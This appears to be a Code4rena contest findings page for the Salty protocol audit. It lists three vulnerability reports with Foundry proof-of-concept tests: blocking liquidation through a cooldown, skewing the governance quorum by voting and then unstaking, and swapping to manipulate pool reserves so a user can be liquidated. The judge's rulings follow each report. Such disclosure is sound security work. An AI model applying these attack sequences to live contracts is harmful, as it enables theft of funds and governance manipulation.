Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 75/178
Findings: 3
Award: $91.94
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L107
Alice can front-run a liquidator call liquidate(alice)
by calling depositCollateralAndIncreaseShare
with a value > DUST and DoS/prevent its liquidation, as liquidate is limited by cooldownExpiration
in _decreaseUserShare
Why?
_increaseUserShare
or _decreaseUserShare
is called with useCooldown = true
, a cooldown is set to block.timestamp + modificationCooldown
. This cooldown will prevent any calls to these functions (if useCooldown = true
) until the time has passeddepositCollateralAndIncreaseShare
(which calls _depositLiquidityAndIncreaseShare
, itself calling _increaseUserShare
with useCooldown == true
) increase the cooldownliquidate(alice)
also calls _decreaseUserShare(alice,...)
with useCooldown = true
in the same block, the cooldown will not be expired, causing the call to revertA malicious user can keep its position unhealthy by preventing liquidations
function test_auditPreventLiquidationByAddingCollateral() public { // Bob deposits collateral so alice can be liquidated vm.startPrank(bob); collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false ); vm.stopPrank(); // Deposit and borrow from Alice's account to create basis for liquidation _depositCollateralAndBorrowMax(alice); // Cause a drastic price drop to allow for liquidation _crashCollateralPrice(); vm.expectRevert("Must wait for the cooldown to expire"); collateralAndLiquidity.liquidateUser(alice); // Warp past the lockout period, so liquidation is now allowed vm.warp(block.timestamp + 1 hours); // warp to just after the lockout period //alice add few wai of liquidity, which do not recover her health factor deal(address(wbtc), alice, 101); deal(address(weth), alice, 101); vm.prank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 101, 0, block.timestamp, false ); vm.expectRevert("Must wait for the cooldown to expire"); collateralAndLiquidity.liquidateUser(alice); }
Manual review
When the user position is unhealthy, user should be forced to at least add collateral up to a healthy state
Context
#0 - c4-judge
2024-01-31T22:40:55Z
Picodes marked the issue as duplicate of #891
#1 - c4-judge
2024-02-21T16:12:51Z
Picodes marked the issue as satisfactory
🌟 Selected for report: 0xpiken
Also found by: 0xBinChook, 0xRobocop, 0xWaitress, Aymen0909, Draiakoo, Infect3d, J4X, Toshii, cats, haxatron, jasonxiale, klau5, solmaxis69, t0x1c, zhaojie
26.3224 USDC - $26.32
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L320 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L396
A user can with its stake (1) vote for a proposal/multiple proposals, (2) unstake, which will burn its shares thus reducing the shares totalSupply, thus reducing the required quorum. (3) He can then call cancelUnstake when the vote is over to get its shares back. This basically allow him to skew the ratio of votes to requiredQuorum
Manipulation of the voting to quorum ratio
function test_auditCastVoteThenReduceQuorum() public { vm.startPrank(DEPLOYER); // 2 million staked. Default 10% will be 200k which does not meet the 0.50% of total supply minimum quorum. // So 500k (0.50% of the totalSupply) will be used as the quorum staking.stakeSALT( 10_000_000 ether ); string memory ballotName = "parameter:2"; proposals.proposeParameterBallot(2, "description" ); vm.stopPrank(); uint256 ballotID = proposals.openBallotsByName(ballotName); console.log("--- Initial state with xSALT in the protocol ---"); console.log("total votes for the ballot:\t",proposals.totalVotesCastForBallot(ballotID)); console.log("required quorum:\t\t",proposals.requiredQuorumForBallotType(BallotType.PARAMETER)); Vote userVote = Vote.INCREASE; uint256 aliceSaltBalance = 10_000_000 ether; console.log("--- Alice stakes 10M SALT & votes for ballot ---"); vm.startPrank(alice); staking.stakeSALT( aliceSaltBalance ); proposals.castVote(ballotID, userVote); console.log("total votes for the ballot:\t",proposals.totalVotesCastForBallot(ballotID)); console.log("required quorum:\t\t",proposals.requiredQuorumForBallotType(BallotType.PARAMETER)); console.log("--- Alice unstake all ---"); uint256 votingPower = staking.userShareForPool(alice, PoolUtils.STAKED_SALT); staking.unstake(votingPower, 2); console.log("total votes for the ballot:\t", proposals.totalVotesCastForBallot(ballotID)); console.log("required quorum:\t\t",proposals.requiredQuorumForBallotType(BallotType.PARAMETER)); }
Manual review
Disallow unstaking for a user if he has active votes
Governance
#0 - c4-judge
2024-02-01T16:38:35Z
Picodes marked the issue as duplicate of #46
#1 - c4-judge
2024-02-21T14:22:14Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-21T16:58:02Z
Picodes changed the severity to 2 (Med Risk)
🌟 Selected for report: Banditx0x
Also found by: Arz, Infect3d, Kalyan-Singh, PENGUN, Toshii, a3yip6, israeladelaja, jasonxiale, linmiaomiao, zhaojohnson
64.8396 USDC - $64.84
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L145 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L304 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L230-L235
userCollateralValueInUSD
, which is called by canUserBeLiquidated
, uses the WETH/WBTC pool reserves to calculate how much worth of WBTC and WETH are liquidated user's shares.
Then these numbers are used to calculate the underlyingTokenValueInUSD
. But depending on WBTC and WETH price, this can change the USD value of its shares, making him liquidable or not.
By swapping into the pool, the attacker can change the reserves ratio of WBTC and WETH to put users in a liquidation position to get the liquidation reward, then set back the pool to its previous state and keep the profit.
File: src\stable\CollateralAndLiquidity.sol 221: function userCollateralValueInUSD( address wallet ) public view returns (uint256) 222: { 223: uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID ); 224: if ( userCollateralAmount == 0 ) 225: return 0; 226: 227: uint256 totalCollateralShares = totalShares[collateralPoolID]; 228: 229: // Determine how much collateral share the user currently has 230: (uint256 reservesWBTC, uint256 reservesWETH) = pools.getPoolReserves(wbtc, weth); //@audit-issue manipulable 231: 232: uint256 userWBTC = (reservesWBTC * userCollateralAmount ) / totalCollateralShares; //@audit we can change userWBTC and userWETH ratio so that underlyingTokenValueInUSD return another amount 233: uint256 userWETH = (reservesWETH * userCollateralAmount ) / totalCollateralShares; 234: 235: return underlyingTokenValueInUSD( userWBTC, userWETH ); 236: }
A malicious user can manipulate the WBTC/WETH reserves ratio by swapping and use this to liquidate users.
function test_auditMakeUserLiquidatable() public { //@audit H03: POC // Bob deposits collateral so alice can be liquidated vm.startPrank(bob); collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false ); vm.stopPrank(); // Deposit and borrow from Alice's account to create basis for liquidation _depositCollateralAndBorrowMax(alice); // Warp past the lockout period, so liquidation is now allowed vm.warp(block.timestamp + 1 hours); // warp to just after the lockout period // Cause a drastic price drop just above liquidation threshold vm.startPrank( DEPLOYER ); forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 55 / 100); forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 55 / 100); vm.stopPrank(); //Alice is not liquidable assertEq(collateralAndLiquidity.canUserBeLiquidated(alice), false); vm.expectRevert("User cannot be liquidated"); collateralAndLiquidity.liquidateUser(alice); //liquidator swap WBTC in the pool to change the reserves ratio uint256 wbtcAmount = 1e8; deal(address(wbtc), address(this), wbtcAmount); wbtc.approve(address(pools), wbtcAmount); pools.deposit(wbtc, wbtcAmount); pools.swap(wbtc, weth, wbtcAmount, 0, block.timestamp); //after swap, Alice become liquidable assertEq(collateralAndLiquidity.canUserBeLiquidated(alice), true); //liquidator then liquidate alice collateralAndLiquidity.liquidateUser(alice); }
Oracle
#0 - c4-judge
2024-02-02T09:53:07Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2024-02-12T22:59:38Z
othernet-global (sponsor) disputed
#2 - othernet-global
2024-02-12T23:00:57Z
Collateral value is determined by the PriceAggregator which uses Chainlink, Uniswap TWAP and Salty reserves.
Manipulation of simply the Salty reserves is insufficient to effect collateral value as the other two prices will then be used.
#3 - c4-judge
2024-02-18T17:28:43Z
Picodes marked the issue as duplicate of #222
#4 - c4-judge
2024-02-18T17:28:46Z
Picodes marked the issue as satisfactory
#5 - c4-judge
2024-02-18T17:29:32Z
Picodes marked the issue as not a duplicate
#6 - Picodes
2024-02-18T17:31:12Z
Collateral value is determined by the PriceAggregator which uses Chainlink, Uniswap TWAP and Salty reserves.
Manipulation of simply the Salty reserves is insufficient to effect collateral value as the other two prices will then be used.
This report isn't about manipulating PriceAggregator
but the pool's reserves. Essentially it is #222 but to trigger liquidations
#7 - c4-judge
2024-02-18T17:41:56Z
Picodes marked the issue as duplicate of #222
#8 - c4-judge
2024-02-21T16:53:50Z
Picodes changed the severity to 2 (Med Risk)